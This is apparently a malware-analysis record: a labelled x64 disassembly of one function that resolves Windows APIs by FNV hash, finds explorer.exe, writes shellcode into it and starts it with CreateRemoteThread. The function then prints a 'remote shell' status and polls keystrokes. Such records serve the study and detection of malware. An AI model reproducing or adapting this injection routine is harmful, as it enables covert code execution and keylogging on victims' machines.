Function at 0x140001000
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get kernel32 base address
Hash data using fnv
Inject thread
Log keystrokes via polling
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor r15d, r15d
xor r14b, r14b
mov dword [rsp + 0x4c], r15d
mov rax, qword gs:[0x60]
mov rbx, qword [0x1400064b0]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
test rbx, rbx
jne 0x1400010ea
movsxd rax, dword [r11 + 0x3c]
mov r10d, r15d
mov rbx, qword [rax + r11 + 0x88]
mov ebx, ebx
mov edi, dword [rbx + r11 + 0x20]
mov eax, r10d
mov r9d, 0xe014336c
lea rcx, [rdi + rax*4]
mov r8d, dword [rcx + r11]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400010c1
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140001090
cmp r9d, 0xa839fb87
je 0x1400010c6
inc r10d
jmp 0x140001070
mov ecx, dword [rbx + r11 + 0x24]
mov edx, dword [rbx + r11 + 0x1c]
add rcx, r11
add rdx, r11
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov ebx, dword [rdx + rcx*4]
add rbx, r11
mov qword [0x1400064b0], rbx
mov rax, qword gs:[0x60]
mov rbp, qword [0x1400064b8]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov r11, qword [rcx + 0x30]
test rbp, rbp
jne 0x1400011aa
movsxd rax, dword [r11 + 0x3c]
mov r10d, r15d
mov rdi, qword [rax + r11 + 0x88]
mov edi, edi
mov esi, dword [rdi + r11 + 0x20]
nop dword [rax + rax]
mov eax, r10d
mov r9d, 0x711bd374
lea rcx, [rsi + rax*4]
mov r8d, dword [rcx + r11]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140001181
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140001150
cmp r9d, 0x9f885da
je 0x140001186
inc r10d
jmp 0x140001130
mov ecx, dword [rdi + r11 + 0x24]
mov edx, dword [rdi + r11 + 0x1c]
add rcx, r11
add rdx, r11
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov ebp, dword [rdx + rcx*4]
add rbp, r11
mov qword [0x1400064b8], rbp
xor r8d, r8d
mov dword [rsp + 0x48], r15d
lea r9, [rsp + 0x48]
mov esi, r15d
lea rdx, [rsp + 0x48]
mov rdi, r15
lea ecx, [r8 + 5]
call rbx
cmp eax, 0xc0000004
jne 0x14000121a
nop
test rdi, rdi
je 0x1400011e6
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x48]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
mov rdx, rax
mov ecx, 5
mov rdi, rax
call rbx
cmp eax, 0xc0000004
je 0x1400011d0
test eax, eax
jns 0x14000123d
test rdi, rdi
je 0x1400013bd
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400013bd
mov rbx, rdi
cmp dword [rdi], r15d
je 0x1400012de
nop dword [rax]
mov r9, qword [rbx + 0x40]
lea r10, str.explorer.exe
test r9, r9
je 0x1400012c8
movzx r11d, word [r10]
movzx eax, word [r9]
lea ecx, [r11 - 0x41]
cmp ecx, 0x19
lea r8d, [r11 + 0x20]
lea ecx, [rax - 0x41]
cmova r8d, r11d
lea edx, [rax + 0x20]
cmp ecx, 0x19
cmova edx, eax
cmp edx, r8d
jne 0x1400012a3
test ax, ax
je 0x14000129d
test r11w, r11w
je 0x1400012a3
add r9, 2
add r10, 2
jmp 0x140001260
test r11w, r11w
je 0x1400012db
mov r8d, eax
lea edx, [r11 + 0x20]
lea eax, [r11 - 0x41]
cmp eax, 0x19
cmova edx, r11d
lea eax, [r8 - 0x41]
cmp eax, 0x19
lea ecx, [r8 + 0x20]
cmova ecx, r8d
cmp ecx, edx
je 0x1400012db
mov eax, dword [rbx]
add rbx, rax
cmp dword [rbx], r15d
jne 0x140001250
jmp 0x140001227
mov esi, dword [rbx + 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x1400013bd
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400013bd
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1985
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400013b8
lea rdx, [rsp + 0x4c]
mov dword [0x1400064a8], 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rsp + 0x4c], r15d
jne 0x1400013b8
mov r9d, 0xe37
mov qword [rsp + 0x20], r15
lea r8, [0x140005080]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400013b8
mov rax, qword gs:[0x30]
mov r9, rdi
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov r8d, 0x1000
mov rcx, rbx
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x1400013b8
mov rcx, rax
mov r14b, 1
call rbp
mov rcx, rbx
call rbp
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Is_start_success_remote_shell____t
call fcn.140001490
mov rcx, rax
movzx edx, r14b
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
call fcn.140001660
mov ecx, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400013e5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Test__n
call fcn.140001490
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400013e5